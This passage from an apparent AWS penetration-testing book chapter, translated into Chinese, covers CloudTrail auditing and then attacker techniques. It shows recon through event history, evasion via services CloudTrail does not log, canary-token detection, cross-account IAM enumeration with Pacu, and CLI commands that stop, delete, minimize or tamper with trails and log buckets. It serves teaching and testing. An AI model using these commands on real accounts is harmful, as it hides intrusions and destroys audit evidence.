--include-shadow-trails标志允许我们查看其他区域/我们组织的迹象。不会显示的唯一迹象是针对命令运行的区域之外的特定区域迹象,因此可能存在一些 CloudTrail 日志记录,您只需要找到它。这仍然是一个不好的设置,因为这些日志没有扩展到每个区域。该命令的输出将给我们大部分我们感兴趣的信息。

我们希望确保 CloudTrail 日志记录扩展到所有区域,我们可以通过查看我们正在查看的特定迹象的IsMultiRegionalTrail键来确定。它应该设置为 true。如果没有,那么这是需要纠正的事情。一个多区域迹象比每个区域一个迹象更有意义,原因有很多,尤其是因为随着新的 AWS 区域的发布,您需要为它们创建迹象,而多区域迹象将在添加它们时自动覆盖它们。

然后我们要确保IncludeGlobalServiceEvents设置为true,因为这样可以使迹象记录非特定区域的 AWS 服务的 API 活动,例如全局的 IAM。如果禁用了这个设置,我们将错过很多重要的活动。之后,我们要确保LogFileValidationEnabled设置为true,以便可以检测和验证日志的删除和修改。然后我们将寻找KmsKeyId键,如果存在,将是用于加密日志文件的 KMS 密钥的 ARN,如果不存在,则意味着日志文件没有使用 SSE-KMS 进行加密。如果尚未存在,这是另一个应该添加的设置。

如果我们想确定数据事件是否已启用,我们可以首先通过查看HasCustomEventSelectors键来确认它是否设置为true。如果是true,我们将想要调用在创建迹象的区域中调用GetEventSelectors API 来查看已指定了什么。我们创建的ExampleTrail是在us-east-1区域创建的,因此我们将运行以下命令来查看事件选择器:

aws cloudtrail get-event-selectors --trail-name ExampleTrail --region us-east-1 

该 API 调用返回了以下数据:

{
    "TrailARN": "arn:aws:cloudtrail:us-east-1:000000000000:trail/ExampleTrail",
    "EventSelectors": [
        {
            "ReadWriteType": "All",
            "IncludeManagementEvents": true,
            "DataResources": [
                {
                    "Type": "AWS::S3::Object",
                    "Values": [
                        "arn:aws:s3:::bucket-for-lambda-pentesting/"
                    ]
                },
                {
                    "Type": "AWS::Lambda::Function",
                    "Values": [
                        "arn:aws:lambda"
                    ]
                }
            ]
        }
    ]
}

不同事件选择器的值告诉我们这条迹象记录了哪些类型的事件。我们可以看到ReadWriteType设置为All,这意味着我们记录了读和写事件,而不仅仅是其中的一个。我们还可以看到IncludeManagementEvents设置为true,这意味着迹象正在记录我们想要的管理事件。在DataResources下,我们可以看到 S3 对象日志记录已启用,ARN 为arn:aws:s3:::bucket-for-lambda-pentesting/,但没有其他的,并且 Lambda 函数调用日志已启用,ARN 中包含arn:aws:lambda的函数,这意味着所有 Lambda 函数。

理想情况下,读写事件应该被记录,管理事件应该被记录,所有 S3 存储桶/ Lambda 函数应该被记录,但这可能并不总是可能的。

现在我们已经检查了跟踪的配置,我们需要确保它已启用并记录日志!我们可以使用与跟踪创建在同一区域的GetTrailStatus API 来实现这一点:

aws cloudtrail get-trail-status --name ExampleTrail --region us-east-1 

它将返回以下类似的输出:

{
    "IsLogging": true,
    "LatestDeliveryTime": 1546030831.039,
    "StartLoggingTime": 1546027671.808,
    "LatestDigestDeliveryTime": 1546030996.935,
    "LatestDeliveryAttemptTime": "2018-12-28T21:00:31Z",
    "LatestNotificationAttemptTime": "",
    "LatestNotificationAttemptSucceeded": "",
    "LatestDeliveryAttemptSucceeded": "2018-12-28T21:00:31Z",
    "TimeLoggingStarted": "2018-12-28T20:07:51Z",
    "TimeLoggingStopped": ""
}

最重要的事情是查看IsLogging键是否设置为true。如果设置为false,那么意味着该跟踪已被禁用,我们刚刚检查的所有配置都无关紧要,因为它实际上并没有记录任何内容。

此外,我们可以查看LatestDeliveryAttemptTimeLatestDeliveryAttemptSucceeded键,以确保日志被正确传送。如果日志被传送,那么这两个值应该是相同的。如果不是,那么就有一些问题阻止了 CloudTrail 将这些日志传送到 S3。

这基本上总结了 CloudTrail 设置和最佳实践的基础知识,但是通过为跟踪使用 KMS 加密密钥创建自定义策略,并修改 S3 存储桶策略以进一步限制对日志的访问、防止日志被删除等,可以更深入和安全地进行设置。

侦察

现在我们将转变方向,讨论 CloudTrail 如何帮助我们作为攻击者。它可以帮助我们进行侦察和信息收集。

您可能无法总是妥协于具有必要的 S3 读取权限并具有使用最初使用的 KMS 密钥加密数据的访问权限的用户。如果您没有这两个权限,那么您将无法读取日志文件。甚至可能存在其他限制,使您难以做到这一点。为了解决这个问题,我们可以使用我们的cloudtrail:LookupEvents权限与 CloudTrail 事件历史记录进行交互。CloudTrail 事件历史记录是通过 CloudTrail API 提供的一个始终可用的、不可变的读/写管理事件记录。这些日志可以通过使用LookupEvents API 或访问 AWS Web 控制台中的事件历史记录页面来获取:

图 4:在 AWS Web 控制台中查找 CloudTrail 事件历史记录的位置

由于 CloudTrail 事件历史记录是不可变的,并且与 S3 分开,因此它对于防御者和攻击者都是一个有用的工具。作为防御者,如果发生了什么事情,您的 CloudTrail 日志被修改或删除,您可以恢复它们,CloudTrail 事件历史记录可能是一个有用的地方,以找出在那段时间内发生了什么(如果是在过去 90 天内)。作为攻击者,我们可以使用它来收集有关目标环境的信息,而无需访问 S3 或 KMS。

由于事件历史记录中存储的日志数量以及下载这些日志所需的极其缓慢的 API 调用,要在没有某种过滤器的情况下审查大量信息可能会很困难。由于这可能归因于您应该使用真实的跟踪而不仅仅是事件历史记录,CloudTrail LookupEvents API 一次只返回 50 个事件,并且速率限制为每秒一次。在大型环境中,这意味着即使只是过去一天的所有日志,下载所有日志可能需要大量时间。这给我们留下了两个选择:一个是等待下载并尽可能多地获取,但由于可能涉及的大量时间,这并不推荐。第二个选择是在下载之前检查和过滤日志,这样就会减少等待的日志数量。

通过查看事件历史中的不同事件,我们可以收集大量信息。在大规模上,我们可以确定哪些用户/服务是活跃的,以及他们进行了什么样的活动,我们可以了解他们在 AWS 中的习惯。这对我们有帮助,因为我们可以在攻击中使用这些知识。这样,我们可以通过不做任何可能在账户中不寻常的事情来保持低调。通过 AWS Web 控制台,我们已经选择了在本章前面设置 trail 时生成的 CloudTrail CreateTrail事件。Web 控制台将信息聚合成一个易于查看的格式,但我们可以点击“查看事件”按钮来查看请求的原始 JSON。该 JSON 看起来像下面这样:

{
    "eventVersion": "1.06",
    "userIdentity": {
        "type": "IAMUser",
        "principalId": "AIDARACQ1TW2RMLLAQFTX",
        "arn": "arn:aws:iam::000000000000:user/TestUser",
        "accountId": "000000000000",
        "accessKeyId": "ASIAQA94XB3P0PRUSFZ2",
        "userName": "TestUser",
        "sessionContext": {
            "attributes": {
                "creationDate": "2018-12-28T18:49:59Z",
                "mfaAuthenticated": "true"
            }
        },
        "invokedBy": "signin.amazonaws.com"
    },
    "eventTime": "2018-12-28T20:07:51Z",
    "eventSource": "cloudtrail.amazonaws.com",
    "eventName": "CreateTrail",
    "awsRegion": "us-east-1",
    "sourceIPAddress": "1.1.1.1",
    "userAgent": "signin.amazonaws.com",
    "requestParameters": {
        "name": "ExampleTrail",
        "s3BucketName": "example-for-cloudtrail-logs",
        "s3KeyPrefix": "",
        "includeGlobalServiceEvents": true,
        "isMultiRegionTrail": true,
        "enableLogFileValidation": true,
        "kmsKeyId": "arn:aws:kms:us-east-1:000000000000:key/4a9238p0-r4j7-103i-44hv-l457396t3s9t",
        "isOrganizationTrail": false
    },
    "responseElements": {
        "name": "ExampleTrail",
        "s3BucketName": "example-for-cloudtrail-logs",
        "s3KeyPrefix": "",
        "includeGlobalServiceEvents": true,
        "isMultiRegionTrail": true,
        "trailARN": "arn:aws:cloudtrail:us-east-1:000000000000:trail/ExampleTrail",
        "logFileValidationEnabled": true,
        "kmsKeyId": "arn:aws:kms:us-east-1:000000000000:key/4a9238p0-r4j7-103i-44hv-l457396t3s9t",
        "isOrganizationTrail": false
    },
    "requestID": "a27t225a-4598-0031-3829-e5h130432279",
    "eventID": "173ii438-1g59-2815-ei8j-w24091jk3p88",
    "readOnly": false,
    "eventType": "AwsApiCall",
    "managementEvent": true,
    "recipientAccountId": "000000000000"
}

甚至仅从这一个事件中,我们就可以收集到关于用户和环境的大量信息。我们可以看到的第一件事是,这个 API 调用是由一个 IAM 用户进行的,还有用户 ID、ARN、账户 ID、使用的访问密钥 ID、用户名以及他们是否进行了 MFA 身份验证的列表。此外,invokedBy键的值为signin.amazonaws.com,这告诉我们他们在执行此操作时已经登录到 AWS Web 控制台,而不是使用 CLI。然后我们可以看到有关请求本身的信息,包括事件是什么,该事件是为哪个服务发生的,事件发生的时间,以及请求中包含的一些参数。之后,我们可以看到 API 在响应中返回的参数,这些参数告诉我们一些关于新创建的 CloudTrail trail 的信息。

我们忽略的两个最重要的事情包括请求的来源 IP 地址和请求使用的用户代理。IP 地址将告诉我们呼叫来自何处,并且在更大的样本集中可能允许我们确定用户的工作地点,办公室的 IP 地址等。例如,如果我们看到多个用户在工作时间(上午 9 点至下午 5 点)从同一个 IP 地址发起,那么可以安全地假设他们都在办公室或者在使用 AWS API 时都在 VPN 上。然后我们知道,如果其中一个用户开始从我们以前没有见过的外部 IP 地址发起请求,那将是奇怪的,因此我们可以围绕这一点制定我们的攻击计划,试图避免这种情况。

用户代理也是一样的。在前面的示例事件中,用户代理是signin.amazonaws.com,这是在使用 AWS Web 控制台时出现的用户代理。如果我们看一个不同的事件,比如当我们使用 AWS CLI 中的GetEventSelectors API 时,我们可以看到用户代理更加具体:

{
    "eventVersion": "1.06",
    "userIdentity": {
        "type": "IAMUser",
        "principalId": "AIDARACQ1TW2RMLLAQFTX",
        "arn": "arn:aws:iam::000000000000:user/TestUser",
        "accountId": "000000000000",
        "accessKeyId": "AKIAFGVRRHYEFLLDHVVEA",
        "userName": "TestUser"
    },
    "eventTime": "2018-12-28T20:57:17Z",
    "eventSource": "cloudtrail.amazonaws.com",
    "eventName": "GetEventSelectors",
    "awsRegion": "us-east-1",
    "sourceIPAddress": "1.1.1.1",
    "userAgent": "aws-cli/1.16.81 Python/3.7.0 Windows/10 botocore/1.12.71",
    "requestParameters": {
        "trailName": "ExampleTrail"
    },
    "responseElements": null,
    "requestID": "f391ba17-519x-423r-8b1t-16488a26b02p",
    "eventID": "562b2177-1ra0-2561-fjm0-3f1app6ac375",
    "readOnly": true,
    "eventType": "AwsApiCall",
    "managementEvent": true,
    "recipientAccountId": "000000000000"
}

这个请求的用户代理设置为aws-cli/1.16.81 Python/3.7.0 Windows/10 botocore/1.12.71,这为我们提供了关于用户使用的系统的大量信息。我们可以看到他们使用了 AWS CLI 的 1.16.81 版本,使用的是 Python 3.7.0 版本,在 Windows 10 上,并且使用了 botocore 库的 1.12.71 版本。这些信息本身就让我们了解到可能在我们目标公司使用的系统,同时也让我们能够收集环境中已知用户代理的列表。有了这个列表,我们可以伪装自己的用户代理,使其看起来像一个已知的用户代理,这样我们在 API 请求中就不会显得异常。

通过查看 CloudTrail 日志/事件历史,您可以做很多事情,包括我们之前进行的少量信息收集。您还可以根据对这些服务的 API 调用来确定账户中正在使用的 AWS 服务,并且可能发现有关账户中特定资源的有用信息。例如,假设您没有ec2:DescribeInstances权限,但您有ec2:ModifyInstance权限。理论上,您将无法获取 EC2 实例的列表,然后使用ec2:ModifyInstanceAPI,因为您没有访问权限,但您可以查看 CloudTrail 日志,查找过去有人与 EC2 实例交互的事件。该事件可能包括实例 ID 和可能对您在发现环境中的资产有帮助的其他信息。

事件历史并不是查找这些信息的唯一地方,因为如果您具有必要的 S3 和 KMS 权限,您可以直接从它们交付的 S3 存储桶中下载日志,这比事件历史 API 的输出更快、更容易解析。但要小心不要触发任何警报,因为该存储桶内的活动可能正在被监视,从中下载文件的一系列请求可能会对防御者看起来可疑。

绕过日志记录

现在我们将绕过 CloudTrail 来发现您已经获得访问权限的账户的信息。第一种方法使用 CloudTrail 不支持的服务来收集基本账户信息,第二种方法使用其中一些信息来枚举账户中的 IAM 资源,而不会在目标账户中生成 CloudTrail 日志。

攻击者和防御者的不受支持的 CloudTrail 服务

正如我们在本章前面提到的,CloudTrail 并不记录所有内容,包括许多完全不受支持的服务。同样,不受支持服务的列表可以在这里找到:docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html。这意味着我们对这些服务的 API 调用将不会被 CloudTrail 记录在任何地方(包括事件历史!)。其中一些服务对我们作为攻击者可能非常有利,因此如果您攻破了某个用户并发现他们可以访问其中任何服务,那么值得检查,因为您可以保持低调并获得巨大利益。另一个关于不受支持的 CloudTrail 服务的重要一点是,这意味着您无法为这些 API 操作创建 CloudWatch 事件规则,这意味着您无法立即响应这些服务中发生的事件。

作为攻击者,如果我们正在寻找计算资源,我们可以滥用一些不同的未记录服务。在撰写本文时,AppStream 2.0、Amplify 和 Cloud9 都以某种方式为我们提供了对托管的 EC2 服务器的访问权限。这意味着我们可以启动服务器并与其交互,而不会被记录。

作为防御者,重要的是确保除非必要,否则没有用户可以访问这些服务。如果需要提供对任何未记录服务的访问权限,那么利用服务可能提供的任何内置日志,并利用 IAM 提供的其他一些功能来监视此访问。如果您下载 IAM 凭证报告,您可以通过查看access_key_1_last_used_serviceaccess_key_2_last_used_service列来查看服务最近是否被访问,那些未记录的服务仍然会显示出来。要获取 IAM 凭证报告,您可以运行以下命令:

aws iam get-credential-report 

另一个选择是使用 IAM 的GenerateServiceLastAccessedDetailsGetServiceLastAccessDetailsAPI 来确定用户何时/是否访问了某个服务,包括 CloudTrail 未记录的服务。为此,我们可以首先运行生成命令来生成报告:

aws iam generate-service-last-accessed-details --arn arn:aws:iam::000000000000:user/TestUser 

ARN 参数的值必须是 IAM 资源的 ARN,包括用户、组、角色和托管策略。这个 API 命令应该会返回一个JobId给你。然后我们可以使用那个 ID 来获取报告:

aws iam get-service-last-accessed-details --job-id frt7ll81-9002-4371-0829-35t1927k30w2 

该命令的响应将包括有关资源是否已经对某个服务进行了身份验证以及上次身份验证发生的时间的信息。这些 API 不会告诉你正在进行的确切活动,但至少可以检查谁正在尝试访问这些服务。

这些 API 还有助于检测未记录的 CloudTrail 服务用于账户枚举。Wired 公司发布了一篇关于 Rhino Security Labs 研究的文章,该研究涉及一种方法,基本上允许攻击者使用密钥收集少量 AWS 账户信息,而不会被 CloudTrail 记录(https://www.wired.com/story/aws-honeytoken-hackers-avoid/)。这项研究之所以如此重要,是因为有许多金丝雀令牌服务依赖于 CloudTrail,在密钥被泄露时发出警报。金丝雀令牌通常放置在环境中的某个地方,并设置为在使用时触发警报,这将表明攻击者在环境中并找到了这些令牌。对于 AWS,金丝雀令牌提供商通常依赖于 CloudTrail 来发出这些警报,但 Rhino Security Labs 表明可以绕过这些警报,并确定 AWS 密钥是否为金丝雀令牌,同时保持低调。

当时发现,一些最受欢迎的 AWS 金丝雀令牌提供商使用单个账户生成这些密钥,或者在指示它们正在被用作金丝雀令牌的用户中包含识别信息。这些信息可以通过从不受支持的 CloudTrail 服务返回的冗长错误消息中暴露出来,从而允许攻击者根据账户 ID 或用户名/路径来识别 AWS 密钥是否为金丝雀令牌,而不会触发密钥本来应该触发的警报。Atlassian 的SpaceCrab项目就是这种攻击的一个受害者。

最初,默认的SpaceCrab设置将 IAM 用户的路径设置为/SpaceCrab/。然后,攻击者可以针对不受支持的 CloudTrail 服务运行 AWS CLI 命令,用户的 ARN 将在错误消息中被披露。ARN 包括用户的路径,因此很明显这些密钥是由SpaceCrab创建的金丝雀令牌。以下是在运行 AppStream DescribeFleets命令时返回的示例错误消息:

图 5:IAM 用户路径包含 SpaceCrab,透露了它们是金丝雀令牌

该问题已报告给 Atlassian 并得到解决。问题也报告给了 AWS 本身,但被拒绝,因为他们不认为 ARN 是敏感信息。这是正确的,但用户不应该能够在不生成任何日志的情况下获取这些信息。

AWS Amplify 是另一个在 CloudTrail 中不受支持的较新的服务,它输出类似的冗长错误消息。在尝试运行ListApps命令而没有正确权限时返回了以下消息:

An error occurred (AccessDeniedException) when calling the ListApps operation: User: arn:aws:iam::000000000000:user/TestUser is not authorized to perform: amplify:ListApps on resource: arn:aws:amplify:us-west-2:000000000000:apps/* 

如果 AWS 服务输出类似的错误消息,并且有一些 CloudTrail 不支持的服务,这种小型攻击基本上是永恒的。同样的攻击可能适用于任何新发布的并且未被记录的服务。

即使这么少的信息对攻击者也有帮助,因为他们可以使用其他未记录的攻击向量,例如跨账户 IAM 用户/角色枚举,来收集更多信息(rhinosecuritylabs.com/aws/aws-iam-user-enumeration/)。

通过跨账户方法绕过日志记录

正如我们刚才指出的,可以在 AWS 账户中枚举用户和角色,而无需目标账户中的任何权限或日志。我们需要的一切就是我们自己的 AWS 账户和我们目标的 AWS 账户 ID。

枚举用户

就像我们之前在 IAM 章节中介绍的那样,IAM 角色有一个信任策略文档,指定了哪些 IAM 资源/账户可以从中请求临时凭证。在幕后,所有 IAM 资源都是唯一创建的,IAM 角色信任策略也认可这一点。这样做的原因是,如果您指定用户Mike可以假定某个角色,然后删除Mike;理论上,攻击者可以创建另一个名为Mike的 IAM 用户并假定该角色。实际上,情况并非如此,因为在幕后,角色信任策略引用的是唯一用户 ID,而不仅仅是用户名。

由于在幕后将用户 ARN 转换为唯一用户 ID,IAM 不会允许您设置允许访问不存在用户的信任策略。此外,角色可以被假定为跨账户,因此可以在信任策略中指定其他账户 ID。

鉴于这两个事实,如果作为攻击者,我们拥有另一个账户的账户 ID,我们基本上可以暴力破解其账户中存在哪些用户。这个过程已经在一个名为iam__enum_users的 Pacu 模块中自动化。使用 Pacu 打开并配置后,我们可以运行以下命令来枚举具有 ID000000000000的账户中的 IAM 用户:

run iam__enum_users --account-id 000000000000 --role-name TestRole 

TestRole是在我的账户中创建的 IAM 角色。Pacu 使用该角色来更新信任策略文档以进行枚举,因此很重要的是使用您自己的 AWS 访问密钥运行此模块,并提供具有更新访问权限的角色名称。

运行该模块时,您自己的 AWS CloudTrail 日志将被iam:UpdateAssumeRolePolicy日志淹没,但目标账户将看不到任何东西,从而允许您悄悄地收集有关目标环境的信息。

使用自定义单词列表,我们能够从 ID 为000000000000的目标账户中枚举出两个用户AlexaTest(这只是一个演示,对您没有用,因为000000000000不是真实的 AWS 账户)。Pacu 模块的输出看起来像这样:

Pacu (Demo:imported-default) > run iam__enum_users --account-id 000000000000 --role-name TestRole
  Running module iam__enum_users...
[iam__enum_users] Warning: This script does not check if the keys you supplied have the correct permissions. Make sure they are allowed to use iam:UpdateAssumeRolePolicy on the role that you pass into --role-name!

[iam__enum_users] Targeting account ID: 000000000000

[iam__enum_users] Starting user enumeration...

[iam__enum_users]   Found user: arn:aws:iam::000000000000:user/Alexa
[iam__enum_users]   Found user: arn:aws:iam::000000000000:user/Test

[iam__enum_users] Found 2 user(s):

[iam__enum_users]     arn:aws:iam::000000000000:user/Alexa
[iam__enum_users]     arn:aws:iam::000000000000:user/Test

[iam__enum_users] iam__enum_users completed.

[iam__enum_users] MODULE SUMMARY:

  2 user(s) found after 7 guess(es).

输出显示,从我们修改后的单词列表中的七次猜测中找到了两个有效用户。在撰写本文时,Pacu 使用的默认单词列表有 1,136 个名称。

枚举角色

以前可以使用类似的攻击来枚举另一个 AWS 账户中存在的角色,如果只需要 AWS 账户 ID,那么我们基本上可以暴力破解所有存在的角色。由于 Rhino Security Labs 发布后,AWS 已经修改了 STS AssumeRole API 调用从 API 返回的错误消息,这意味着不再可能使用这种方法确定角色是否存在。iam__enum_assume_role Pacu 模块旨在利用此功能,但由于此更改,它不再起作用。

另一方面,发现了一种新方法,允许您跨账户基础上枚举角色。这种方法与用于枚举跨账户用户的方法相同。最初,这种方法的工作方式与现在不同,但必须进行了一些 API 更改,现在使得这种枚举成为可能。编写了一个新的 Pacu 模块来滥用这种攻击向量,它被命名为iam__enum_roles。它的工作方式与iam__enum_users模块完全相同,因此可以使用基本相同的命令运行:

 run iam__enum_roles --account-id 000000000000 --role-name TestRole 

该模块将枚举目标帐户中存在的角色,然后尝试假定这些角色以检索临时凭证,如果其策略配置错误并允许您访问。该模块的一部分如下:

Pacu (Spencer:imported-default) > run iam__enum_roles --account-id 000000000000 --role-name TestRole 
  Running module iam__enum_roles... 
[iam__enum_roles] Warning: This script does not check if the keys you supplied have the correct permissions. Make sure they 
are allowed to use iam:UpdateAssumeRolePolicy on the role that you pass into --role-name and are allowed to use sts:AssumeRole to try and assume any enumerated roles! 

[iam__enum_roles] Targeting account ID: 000000000000 

[iam__enum_roles] Starting role enumeration... 

[iam__enum_roles]   Found role: arn:aws:iam::000000000000:role/service-role/AmazonAppStreamServiceAccess 
[iam__enum_roles]   Found role: arn:aws:iam::000000000000:role/CodeDeploy 
[iam__enum_roles]   Found role: arn:aws:iam::000000000000:role/SSM 

[iam__enum_roles] Found 3 role(s): 

[iam__enum_roles]     arn:aws:iam::000000000000:role/service-role/AmazonAppStreamServiceAccess 
[iam__enum_roles]     arn:aws:iam::000000000000:role/CodeDeploy 
[iam__enum_roles]     arn:aws:iam::000000000000:role/SSM 

[iam__enum_roles] Checking to see if any of these roles can be assumed for temporary credentials... 

[iam__enum_roles]   Role can be assumed, but hit max session time limit, reverting to minimum of 1 hour... 

[iam__enum_roles]   Successfully assumed role for 1 hour: arn:aws:iam::000000000000:role/CodeDeploy 

[iam__enum_roles] { 
  "Credentials": { 
    "AccessKeyId": "ASIATR17AL2P90OB3U6Z", 
    "SecretAccessKey": "nIll8wr/T60pbbeIY/hkqRQlC9njUzv3RKO3qznT", 
    "SessionToken": "FQoGAR<snip>iC/aET", 
    "Expiration": "2019-01-16 20:32:08+00:00" 
  }, 
  "AssumedRoleUser": { 
    "AssumedRoleId": "AROAJ9266LEYEV7DH1LLK:qw9YWcRjmAiunsp3KhHM", 
    "Arn": "arn:aws:sts::000000000000:assumed-role/CodeDeploy/qw9YWcRjmAiunsp3KhHM" 
  } 
} 
[iam__enum_roles] iam__enum_roles completed. 

[iam__enum_roles] MODULE SUMMARY: 

  3 role(s) found after 8 guess(es). 
  1 out of 3 enumerated role(s) successfully assumed. 

前面的例子显示了找到了一些角色,并且其中一个角色配置错误,允许我们请求其凭证。在撰写本文时,Pacu 使用了 1,136 个名称的默认单词列表。

用户和角色枚举基本上是永恒的,例如冗长的 AWS CLI 错误消息,因为它是在利用预期的功能,而不是 API 中的任何错误。

破坏跟踪

有许多方法可以破坏 CloudTrail 跟踪的记录,以尝试在我们的攻击中保持低调,但它们都很可能触发警报,从而暴露我们的活动给关注的人。然而,了解这些方法仍然很重要,因为我们攻击的每个帐户可能甚至没有最基本的监控功能(如 GuardDuty),因此在这种情况下禁用任何 CloudTrail 记录是有意义的。然而,这个问题有部分解决方案;这些解决方案及其局限性将在本节末讨论。

关闭记录

破坏 CloudTrail 记录的一种简单方法是简单地关闭任何活动的跟踪。有一个专门用于此目的的 API,即StopLogging API。从 AWS CLI,我们可以使用以下命令关闭我们帐户中名为test的跟踪的记录:

aws cloudtrail stop-logging --name test 

此命令必须从创建目标跟踪的区域运行,否则将返回InvalidHomeRegionException错误。

这个任务也可以通过detection__detection Pacu 模块完成。该 Pacu 命令看起来可能是这样的:

 run detection__disruption --trails test@us-east-1 

然后会提示您选择四个不同的选项:禁用、删除、最小化或跳过。要停止跟踪的记录,我们将选择禁用(dis)。然后 Pacu 将禁用目标跟踪的记录。

GuardDuty 的更多信息可以在下一章中找到。

无论哪种情况,如果 GuardDuty 正在运行,它将触发一个Stealth:IAMUser/CloudTrailLoggingDisabled警报(docs.aws.amazon.com/guardduty/latest/ug/guardduty_stealth.html#stealth2),表明已禁用了一个跟踪。这将暴露我们对环境的未经授权访问,并且如果有人在意的话,可能会关闭我们的攻击。

删除跟踪/S3 存储桶

另一组避免StopLogging API 的选项是要么完全删除 CloudTrail 跟踪,要么删除它发送日志的 S3 存储桶。我们可以使用以下命令从 AWS CLI 中删除名为test的跟踪:

aws cloudtrail delete-trail --name test 

这也可以通过 Pacu 完成,通过运行我们之前用于禁用跟踪的相同命令,但选择删除(del)选项:

run detection__disruption --trails test@us-east-1 

一旦提示要对跟踪执行什么操作,我们将选择del,这将随后完全删除 CloudTrail,意味着记录已停止。

我们还可以删除某个跟踪正在将其日志发送到的 S3 存储桶,这将阻止活动跟踪记录任何内容。这可以完全避免 CloudTrail API(如果您知道要删除的存储桶),但仍然非常嘈杂,因为它会使跟踪处于错误状态。如果我们还不知道,我们可以使用 AWS CLI 识别跟踪正在发送日志的存储桶的名称,使用以下命令:

aws cloudtrail describe-trails 

然后我们将查看我们要定位的跟踪的S3BucketName键的值,我们将假设是cloudtrail_bucket。然后我们可以使用以下 AWS CLI 命令删除该 S3 存储桶:

aws s3api delete-bucket --bucket cloudtrail_bucket

现在,CloudTrail 将继续尝试将日志传送到该存储桶,但会失败,这意味着在删除存储桶的期间将不会写入任何日志。如果您已经知道正在被定位的存储桶,您将永远不需要运行任何 CloudTrail API 调用;只需要运行 S3 的DeleteBucket调用。目前没有 Pacu 模块可用于执行此任务(获取由跟踪定位的存储桶,然后删除它)。之后,您甚至可以继续在您自己的攻击者账户中创建该存储桶,并提供正确的跨账户写入权限;然后您将获得所有 CloudTrail 日志,而您的目标账户将无法访问它们。

与禁用跟踪、删除跟踪或其目标存储桶类似,在启用 GuardDuty 的情况下,将触发Stealth:IAMUser/CloudTrailLoggingDisabled警报(docs.aws.amazon.com/guardduty/latest/ug/guardduty_stealth.html#stealth2),表明已删除跟踪或其存储桶。同样,这将暴露我们对环境的未经授权访问,并且如果有人在意的话,很可能会关闭我们的攻击。

最小化跟踪

在目标账户中避免禁用或删除的另一种选择是修改跟踪以最小化其记录的内容。例如,假设有一个名为test的跟踪,它为每个区域记录日志;它记录全局服务事件,启用日志文件验证,启用日志文件加密,并记录对账户中每个 S3 存储桶和 Lambda 函数的访问。

为了避免禁用或删除此跟踪,我们可以使用UpdateTrail API 来删除其设置的所有功能。我们可以运行以下 AWS CLI 命令来禁用全局服务事件,将其从全局跟踪更改为单区域跟踪,禁用日志文件加密和禁用日志文件验证:

aws cloudtrail update-trail --name test --no-include-global-service-events --no-is-multi-region-trail --no-enable-log-file-validation --kms-key-id "" 

通过将 KMS 密钥 ID 设置为空值,从那时起所有日志都将是未加密的。您还可以选择修改哪些设置,例如,如果您想要使用非全局 API 定位us-west-2区域,并且该跟踪是在us-east-1中创建的全局跟踪。在这种情况下,您只需要包括--no-is-multi-region-trail标志,并确保您保持在us-west-2中。如果跟踪正在向 SNS 主题发送通知,您还可以通过将主题设置为空字符串来禁用它。与跟踪相关的 CloudWatch 日志也是如此。

与禁用/删除跟踪类似,detection__disruption Pacu 模块将为您自动化此过程。我们可以运行相同的命令:

run detection__disruption --trails test@us-east-1 

然后在提示时,我们选择最小化(m)选项,这将删除任何关联的 SNS 主题,禁用全局服务事件,将其从全局跟踪更改为单区域跟踪,禁用日志文件验证,删除与 CloudWatch 日志组和相关角色的任何关联,并删除日志文件加密。

与禁用/删除跟踪类似,在启用了 GuardDuty 的情况下,这些修改类型有可能触发Stealth:IAMUser/CloudTrailLoggingDisableddocs.aws.amazon.com/guardduty/latest/ug/guardduty_stealth.html#stealth2)和/或Stealth:IAMUser/LoggingConfigurationModifieddocs.aws.amazon.com/guardduty/latest/ug/guardduty_stealth.html#stealth3)警报,这可能最终导致我们在环境中被发现。在撰写本文时,我们从未看到 GuardDuty 对 CloudTrail 的此类攻击触发,尽管两种发现类型的描述似乎表明它们应该被触发,但目前尚不清楚是否一定会被检测到。

要修改追踪器的 S3 数据和 Lambda 调用事件设置,我们需要使用PutEventSelectors API 而不是UpdateTrail。我们可以修改事件选择器以删除任何数据事件(S3/Lambda)的选择器,因此这些事件将不再被追踪器记录。我们还可以修改ReadWriteType,指定追踪器是否应记录读取事件、写入事件或两者。修改为仅记录读取事件将很简单,这样我们恶意的写入事件就不会被记录。我们可以使用以下 AWS CLI 命令删除所有数据事件记录,仅记录读取事件:

aws cloudtrail put-event-selectors --trail-name Test --event-selectors file://event_selectors.json

event_selectors.json中,我们将有以下内容:

[
    {
        "ReadWriteType": "ReadOnly",
        "IncludeManagementEvents": true,
        "DataResources": []
    }
]

这个 JSON 文档告诉 CloudTrail 只记录读取事件,并不记录任何数据事件(S3/Lambda)。一旦应用到追踪器上,它将记录缺少大部分故事的信息,使我们攻击者能够通过日志分析。

中断问题(以及一些部分解决方案)

对 CloudTrail 的这些攻击的主要问题在于 GuardDuty 旨在检测它们,但存在一些潜在的绕过方法,使我们能够在不被发现的情况下进行更改。

第一个最简单的绕过方法是检测您已经妥协的用户的常规活动是什么。GuardDuty 使用机器学习(更多内容请参阅第十六章,GuardDuty)来检测这些攻击是否异常,因此,如果您妥协了一个有着禁用/删除/修改 CloudTrail 追踪器历史记录的历史的用户,那么您可能也可以做同样的事情,而不被 GuardDuty 检测为异常。

另一个部分解决方案是在日志传送到其 S3 存储桶后修改日志。如果目标正确地在其追踪器上使用了日志文件验证设置,将能够检测到这一点,但如果没有,那么很容易进入日志传送的 S3 存储桶,然后修改日志以删除我们攻击者活动的任何痕迹。有多种方法可以用来防御这种攻击,但在您进行渗透测试时可能会在某个环境中实现。

需要记住的一件事是,在 S3 存储桶中删除/修改日志并不意味着 CloudTrail 事件历史记录中的日志也被删除/修改,因为这些日志将在那里不可变地保存 90 天。由于其速度和限制,CloudTrail 事件历史记录可能难以处理,因此在最坏的情况下(即防御者几乎立即调查您的活动),您仍然可以争取一些时间,以便他们能够适当地检查您的活动。

总结

在本章中,我们介绍了设置符合最佳实践的 CloudTrail 事件,以及如何审计目标环境的最佳实践。CloudTrail 并不是一个完美的服务,我们通过使用它不支持的服务来演示,可以在一个账户中执行侦察而不生成任何日志。因此,有必要跟踪 CloudTrail 中不支持的服务,以便在目标环境中利用它们,而不会在日志中显示。跨账户枚举方法还允许我们在不生成日志的情况下发现有关目标账户的信息,这意味着我们可以了解谁在使用环境,以及环境中使用了什么,而不需要使用被破坏的密钥进行 API 调用。我们还展示了如何使用 Pacu 自动化一些对 CloudTrail 的攻击,以及 GuardDuty 如何介入尝试检测这些行为。

